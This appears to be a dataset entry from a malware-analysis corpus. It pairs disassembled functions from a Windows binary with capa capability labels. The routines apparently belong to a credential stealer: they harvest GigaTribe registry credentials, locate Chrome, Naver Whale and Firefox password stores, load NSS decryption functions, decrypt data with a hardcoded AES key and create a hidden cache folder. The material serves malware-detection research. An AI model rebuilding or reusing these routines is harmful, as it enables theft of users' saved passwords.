joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43a6cb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13a4
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
lea ecx, [ebp - 0x1398]
mov dword [ebp - 0x13a0], ebx
push ecx
push 0x20019
push ebx
push eax
push SysReAllocString
mov byte [ebp - 0x7d8], bl
mov byte [ebp - 0xfa8], bl
mov byte [ebp - 0xbc0], bl
mov byte [ebp - 0x1390], bl
mov byte [ebp - 0x3f0], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x43a734
xor eax, eax
jmp 0x43a897
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1394]
push eax
lea eax, [ebp - 0xbc0]
mov dword [ebp - 0x1394], 0x3e8
push eax
lea eax, [ebp - 0x139c]
push eax
push ebx
push 0x6cccb4
push dword [ebp - 0x1398]
call esi
test eax, eax
je 0x43a779
push dword [ebp - 0x1398]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x43a72d
push ecx
lea edx, [ebp - 0xfa8]
lea ecx, [ebp - 0xbc0]
call fcn.0043a4f3
pop ecx
test eax, eax
je 0x43a889
lea eax, [ebp - 0x1394]
mov dword [ebp - 0x1394], 0x3e8
push eax
lea eax, [ebp - 0x1390]
push eax
lea eax, [ebp - 0x139c]
push eax
push ebx
push str.UserName
push dword [ebp - 0x1398]
call esi
lea eax, [ebp - 0x1394]
mov dword [ebp - 0x1394], 0x3e8
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x139c]
push eax
push ebx
push str.Host
push dword [ebp - 0x1398]
call esi
lea eax, [ebp - 0x1394]
mov dword [ebp - 0x1394], 4
push eax
lea eax, [ebp - 0x13a0]
push eax
lea eax, [ebp - 0x139c]
push eax
push ebx
push str.Port
push dword [ebp - 0x1398]
call esi
test eax, eax
lea eax, [ebp - 0x3f0]
jne 0x43a847
push dword [ebp - 0x13a0]
push eax
push str._s:_d
lea eax, [ebp - 0x7d8]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x43a85c
push eax
lea eax, [ebp - 0x7d8]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0xfa8]
push ecx
push eax
lea eax, [ebp - 0x1390]
push eax
lea eax, [ebp - 0x7d8]
push eax
push ecx
push dword [ebp + 8]
mov ecx, edi
push 6
call fcn.0043ee6b
xor ebx, ebx
inc ebx
push dword [ebp - 0x1398]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x43c855
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbcc
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0xbc8]
xor edi, edi
push eax
push 0x20019
push edi
push str.SoftwareShalsoftGigaTribeWOpenNetworkusers
push SysReAllocString
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x43c897
xor eax, eax
jmp 0x43c994
push edi
push edi
push edi
push edi
lea eax, [ebp - 0xbc4]
mov esi, edi
push eax
lea eax, [ebp - 0x3f0]
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
jmp 0x43c968
test eax, eax
jne 0x43c985
lea eax, [ebp - 0xbc4]
mov dword [ebp - 0xbc4], 0x3e8
push eax
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0xbcc]
push eax
push 0
lea eax, [ebp - 0x3f0]
push eax
push dword [ebp - 0xbc8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43c952
push 4
lea eax, [ebp - 0x7d8]
push str.yes_
push eax
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x43c952
lea eax, [ebp - 0x7d4]
push eax
lea eax, [ebp - 0xbc0]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0xbc0]
mov ecx, 0x6c5bb9
push 0xffffffffffffffff
push ecx
push eax
lea eax, [ebp - 0x3f0]
push eax
push ecx
push ecx
push 0x160
push 4
mov ecx, ebx
call fcn.0043ee6b
inc esi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0xbc4]
push eax
lea eax, [ebp - 0x3f0]
push eax
push esi
push dword [ebp - 0xbc8]
mov dword [ebp - 0xbc4], 0x3e8
call edi
cmp eax, 0x103
jne 0x43c8b7
push dword [ebp - 0xbc8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x441556
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x490
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 8
mov ebx, ecx
mov dword [ebp - 0x490], edx
pop ecx
mov esi, str.d2a9debf721159a509e68458ae391702
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
push 0x43
lea eax, [ebp - 0x47]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.006390b0
pop ecx
pop ecx
lea edx, [ebp - 0x450]
mov ecx, ebx
call fcn.004020b3
mov esi, eax
pop ecx
test esi, esi
je 0x4416d0
push 0x20
pop eax
push eax
mov dword [ebp - 0x474], eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x47c], 0x208
push eax
mov dword [ebp - 0x478], 0x6610
call fcn.00638b30
add esp, 0xc
lea eax, [ebp - 0x484]
xor ebx, ebx
push 0xf0000000
push 0x18
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4416ca
lea eax, [ebp - 0x480]
push eax
push ebx
push ebx
push 0x2c
lea eax, [ebp - 0x47c]
push eax
push dword [ebp - 0x484]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x4416ca
push ebx
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x48c], 2
push eax
push 4
push dword [ebp - 0x480]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x4416ca
lea eax, [ebp - 0x488]
mov dword [ebp - 0x488], esi
push eax
lea eax, [ebp - 0x450]
push eax
push ebx
push 1
push ebx
push dword [ebp - 0x480]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x4416ca
mov eax, dword [ebp - 0x488]
mov ecx, 0x3e8
cmp eax, ecx
jae 0x4416e1
mov byte [ebp + eax - 0x450], bl
lea eax, [ebp - 0x450]
push eax
push ecx
push dword [ebp - 0x490]
call fcn.006494f3
add esp, 0xc
cmp dword [ebp - 0x480], ebx
je 0x4416b0
push dword [ebp - 0x480]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 0x484], ebx
je 0x4416c5
push ebx
push dword [ebp - 0x484]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
inc eax
jmp 0x4416d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
call fcn.00612782
int3
Function at 0x442d16
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xebb0
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov esi, 0x270f
mov byte [ebp - 0x271c], 0
push esi
lea eax, [ebp - 0x271b]
mov ebx, ecx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x4e2c], 0
lea eax, [ebp - 0x4e2b]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str.Login_Data
lea edi, [ebp - 0xc35c]
add esp, 0xc
lea eax, [ebp - 0xc351]
movsd dword es:[edi], dword [esi]
push 0x2705
push 0
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x753c], 0
lea eax, [ebp - 0x753b]
push 0x270f
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xea6c]
push eax
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x442ef1
cmp dword [ebp + 8], 0x3f
mov ecx, str.NaverNaver_WhaleUser_Data
mov eax, str.GoogleChromeUser_Data
mov edi, 0x2710
cmove eax, ecx
push eax
lea eax, [ebp - 0x753c]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0xea6c]
push eax
lea eax, [ebp - 0x271c]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x753c]
push eax
lea eax, [ebp - 0x271c]
push edi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [ebp - 0x271c]
call fcn.004055eb
test eax, eax
je 0x442ef1
lea eax, [ebp - 0x271c]
push eax
lea eax, [ebp - 0x9c4c]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x9c4c]
push 0x6c7624
push edi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0xebac]
push eax
lea eax, [ebp - 0x9c4c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x442ef1
test byte [ebp - 0xebac], 0x10
je 0x442ed3
cmp byte [ebp - 0xeb80], 0x2e
je 0x442ed3
lea eax, [ebp - 0xc35c]
push eax
lea eax, [ebp - 0xeb80]
push eax
lea eax, [ebp - 0x271c]
push eax
push 0x6c63f4
lea eax, [ebp - 0x4e2c]
push edi
push eax
call fcn.00402e0a
add esp, 0x18
lea ecx, [ebp - 0x4e2c]
call fcn.00405670
test eax, eax
je 0x442ed3
lea eax, [ebp - 0x4e2c]
mov ecx, ebx
push eax
push dword [ebp + 8]
call fcn.0044248c
lea eax, [ebp - 0xebac]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x442e77
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
jmp 0x442ef3
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x4468a2
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push 0x40
push ebx
push dword [edi + 0x148]
call fcn.006390b0
push 0x40
lea esi, [edi + 0xc4]
push 0x36
push esi
call fcn.006390b0
push 0x40
lea eax, [edi + 0x104]
push 0x5c
push eax
call fcn.006390b0
mov eax, dword [ebp + 0x14]
add esp, 0x24
cmp eax, 0x40
jle 0x446904
mov ecx, edi
call fcn.0044c2c4
push eax
push dword [ebp + 0x10]
call fcn.0044e0ac
mov ecx, edi
call fcn.0044e15c
push 0x14
lea ecx, [edi + 0x60]
pop eax
jmp 0x446907
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push dword [edi + 0x148]
call fcn.00638b30
add esp, 0xc
mov ecx, ebx
mov eax, dword [edi + 0x148]
mov al, byte [ecx + eax]
xor byte [esi + ecx], al
inc ecx
cmp ecx, 0x40
jb 0x446919
push 0x40
push esi
push dword [edi + 0x14c]
call fcn.00638b30
mov esi, dword [ebp + 0xc]
mov eax, dword [edi + 0x14c]
push esi
push dword [ebp + 8]
add eax, 0x40
push eax
call fcn.00638b30
add esp, 0x18
mov ecx, edi
call fcn.0044c2c4
lea eax, [esi + 0x40]
push eax
push dword [edi + 0x14c]
call fcn.0044e0ac
mov ecx, edi
call fcn.0044e15c
push 0x14
lea esi, [edi + 0x60]
push esi
push dword [edi + 0x144]
call fcn.00638b30
add esp, 0xc
lea ecx, [edi + 0x104]
mov eax, dword [edi + 0x148]
mov al, byte [ebx + eax]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, 0x40
jb 0x446989
push 0x40
push ecx
push dword [edi + 0x150]
call fcn.00638b30
mov eax, dword [edi + 0x150]
push 0x14
push dword [edi + 0x144]
add eax, 0x40
push eax
call fcn.00638b30
add esp, 0x18
mov ecx, edi
call fcn.0044c2c4
push 0x54
push dword [edi + 0x150]
call fcn.0044e0ac
mov ecx, edi
call fcn.0044e15c
push 0x14
push esi
push dword [ebp + 0x18]
call fcn.00638b30
add esp, 0xc
pop edi
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x446f33
Capabilities:
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfec
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x3e7
lea eax, [ebp - 0x7d3]
xor ebx, ebx
push esi
push ebx
push eax
mov byte [ebp - 0x7d4], bl
call fcn.006390b0
push esi
lea eax, [ebp - 0x3eb]
mov byte [ebp - 0x3ec], bl
push ebx
push eax
call fcn.006390b0
add esp, 0x18
lea eax, [ebp - 0x3ec]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
js 0x447118
push str.MicrosoftWindowsLogCache
mov edi, 0x3e8
lea eax, [ebp - 0x3ec]
push edi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0xfa4]
push edi
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3ec]
push eax
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0xfa4]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x3ec]
push 2
push eax
call edi
test eax, eax
jne 0x446ff7
call esi
push str.tmp_win_aprp_5501_20241015
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x7d4]
push 0x6c643c
push eax
call fcn.0044712b
add esp, 0x10
lea ecx, [ebp - 0x7d4]
call fcn.00405670
test eax, eax
jne 0x447074
push 0x6c7344
lea eax, [ebp - 0x7d4]
mov dword [ebp - 0xfdc], ebx
push eax
lea eax, [ebp - 0xfdc]
push eax
call fcn.00649a00
add esp, 0xc
cmp dword [ebp - 0xfdc], ebx
je 0x44711a
test eax, eax
jne 0x44711a
push 7
lea eax, [ebp - 0x7d4]
push eax
call edi
test eax, eax
jne 0x44706c
call esi
push 7
pop eax
jmp 0x44711c
lea eax, [ebp - 0xfd8]
push eax
push ebx
lea eax, [ebp - 0x7d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
je 0x447118
lea eax, [ebp - 0xfec]
push eax
lea eax, [ebp - 0xfd4]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [ebp - 0xfb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0xfe4]
push eax
lea eax, [ebp - 0xfb4]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov esi, dword [ebp - 0xfe0]
mov edx, dword [ebp - 0xfe8]
mov ecx, dword [ebp - 0xfe4]
mov eax, dword [ebp - 0xfec]
cmp edx, esi
jb 0x4470ee
ja 0x4470e8
cmp eax, ecx
jbe 0x4470ee
sub eax, ecx
sbb edx, esi
jmp 0x4470f6
sub ecx, eax
mov eax, ecx
sbb esi, edx
mov edx, esi
push 0xc9
push 0x2a69c000
push edx
push eax
call fcn.00612f20
push 7
pop ecx
sub ecx, eax
xor edx, edx
cmp eax, 7
cmovg ecx, edx
mov eax, ecx
jmp 0x44711c
call esi
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x448415
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x418
mov eax, 0x66dc00
call fcn.00612b19
mov dword [ebp - 0x420], ecx
mov ebx, dword [ebp + 0xc]
lea edi, [ebp - 0x34]
mov esi, str._signons.sqlite
lea ecx, [ebp - 0x424]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00406e75
and dword [ebp - 4], 0
lea edi, [ebp - 0x24]
push dword [ebp - 0x420]
mov esi, str.logins.json
lea eax, [ebp - 0x41c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x3e8
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.006500a8
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 1
je 0x448496
cmp esi, 2
jne 0x4484c4
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4484bd
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x41c]
push ebx
call fcn.00447ec0
pop ecx
jmp 0x448551
call edi
cmp esi, 1
je 0x4484cd
cmp esi, 3
jne 0x448551
push dword [ebp - 0x420]
mov esi, 0x3e8
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x44854f
and dword [ebp - 0x420], 0
lea edx, [ebp - 0x420]
push 0
push 1
lea ecx, [ebp - 0x41c]
call fcn.004bffc8
pop ecx
pop ecx
test eax, eax
jne 0x448551
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x420]
push ebx
call fcn.00447b5b
pop ecx
mov ecx, dword [ebp - 0x420]
xor edx, edx
call fcn.004be7da
jmp 0x448551
call edi
mov ecx, dword [ebp - 0x424]
lea ecx, [ecx - 0x10]
call fcn.004061d0
call fcn.00612ac8
ret
Function at 0x448565
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [0x73d940], ebx
test esi, esi
je 0x4486e3
push esi
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryA]
push 0xfff
lea eax, [ebp - 0x1003]
mov byte [ebp - 0x1004], bl
push ebx
push eax
call fcn.006390b0
push esi
mov esi, 0x1000
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.006494f3
push 0x6d00a4
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.006500a8
push str.nss3.dll
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.006500a8
add esp, 0x30
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x73d95c], eax
test eax, eax
jne 0x44860d
mov dword [0x73d940], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x448612
mov dword [0x73d940], eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryA]
mov eax, dword [0x73d940]
test eax, eax
je 0x4486e3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push eax
call esi
push str.NSS_Shutdown
push dword [0x73d940]
mov dword [0x73d948], eax
call esi
push str.PK11_GetInternalKeySlot
push dword [0x73d940]
mov dword [0x73d94c], eax
call esi
push str.PK11_FreeSlot
push dword [0x73d940]
mov dword [0x73d964], eax
call esi
push str.PK11_Authenticate
push dword [0x73d940]
mov dword [0x73d958], eax
call esi
push str.PK11SDR_Decrypt
push dword [0x73d940]
mov dword [0x73d954], eax
call esi
push str.PK11_CheckUserPassword
push dword [0x73d940]
mov dword [0x73d950], eax
call esi
mov dword [0x73d960], eax
cmp dword [0x73d948], ebx
je 0x4486de
cmp dword [0x73d94c], ebx
je 0x4486de
cmp dword [0x73d964], ebx
je 0x4486de
cmp dword [0x73d954], ebx
je 0x4486de
cmp dword [0x73d950], ebx
je 0x4486de
cmp dword [0x73d958], ebx
je 0x4486de
test eax, eax
je 0x4486de
xor eax, eax
inc eax
jmp 0x4486e5
call fcn.00447b36
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x44c2c4
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x14], 0
and dword [ecx + 0x18], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x453894
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, ecx
xor edi, edi
mov ebx, edx
mov dword [ebp - 8], eax
push edi
push 0x14
mov dword [ebp - 4], ebx
mov dword [eax], edi
call fcn.004512ae
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4538bf
push 7
pop eax
jmp 0x453939
cmp byte [0x70f11c], 0
je 0x453909
mov ecx, 0xc8
call fcn.00453f9a
test eax, eax
jne 0x453909
mov eax, dword [ebp + 8]
lea edi, [esi + 8]
mov dword [edi], ebx
lea ebx, [esi + 4]
push ebx
mov dword [esi + 0xc], eax
xor eax, eax
push eax
push esi
push 0x453874
push eax
push eax
call fcn.00652324
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x45391b
push 0x14
push eax
push esi
call fcn.006390b0
jmp 0x453918
push 0x14
push edi
push esi
call fcn.006390b0
lea edi, [esi + 8]
lea ebx, [esi + 4]
add esp, 0xc
cmp dword [edi], 0
jne 0x453932
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push dword [ebp + 8]
mov dword [ebx], eax
call dword [ebp - 4]
pop ecx
mov dword [esi + 0x10], eax
mov eax, dword [ebp - 8]
mov dword [eax], esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x459868
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ecx + 8]
mov eax, edx
push edi
mov edi, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 4], eax
test edi, edi
jle 0x45989c
push ebx
mov ebx, dword [ecx]
mov al, byte [edx + eax]
xor byte [ebx + esi], al
lea eax, [esi + 1]
xor esi, esi
cmp eax, dword [ecx + 4]
cmovl esi, eax
mov eax, dword [ebp - 4]
inc edx
cmp edx, edi
jl 0x459882
pop ebx
add dword [ecx + 0xc], edi
pop edi
mov dword [ecx + 8], esi
pop esi
leave
ret
Function at 0x48538f
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 0x10]
mov esi, edx
mov edi, ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
mov byte [edi + 0x10], 1
push esi
push esi
push str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
push edi
call fcn.0048a06f
add esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x4853d0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
push edi
call fcn.0048a06f
add esp, 0x14
pop edi
pop esi
pop ebp
ret
Function at 0x4c6ebf
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2724
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push 0xf0000000
push 0x18
xor esi, esi
mov dword [ebp - 0x2724], eax
push esi
push esi
lea eax, [ebp - 0x2720]
mov dword [ebp - 0x2718], 0x2710
push eax
mov edi, edx
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4c6faa
lea eax, [ebp - 0x271c]
push eax
push esi
push esi
push ebx
push dword [ebp - 0x2720]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4c6f9c
push esi
push dword [ebp + 8]
push edi
push dword [ebp - 0x271c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4c6f90
push esi
lea eax, [ebp - 0x2718]
push eax
lea eax, [ebp - 0x2714]
push eax
push 2
push dword [ebp - 0x271c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov esi, eax
test esi, esi
je 0x4c6f8a
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2714]
cmp dword [ebp - 0x2718], ecx
cmovb ecx, dword [ebp - 0x2718]
push ecx
push eax
push dword [ebp - 0x2724]
call fcn.00638b30
add esp, 0xc
jmp 0x4c6f90
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x271c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 0x2720]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret

Function at 0x4c6fbb
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push ebx
push edi
push 0xf0000000
push 0x18
xor edi, edi
mov ebx, ecx
push edi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x4c6feb
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x4c708e
push esi
push 0x1c
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
jne 0x4c7004
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4c7080
push 0xc
push 0
push esi
call fcn.006390b0
push 0x10
pop eax
push eax
mov dword [esi + 8], eax
lea eax, [esi + 0xc]
push ebx
push eax
mov dword [esi], 0x208
mov dword [esi + 4], 0x6801
call fcn.00638b30
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x1c
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x4c704f
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4c7079
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 1
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x4c7047
mov eax, dword [ebp - 4]
xor edi, edi
mov dword [ebx], eax
inc edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
pop esi
pop edi
pop ebx
leave
ret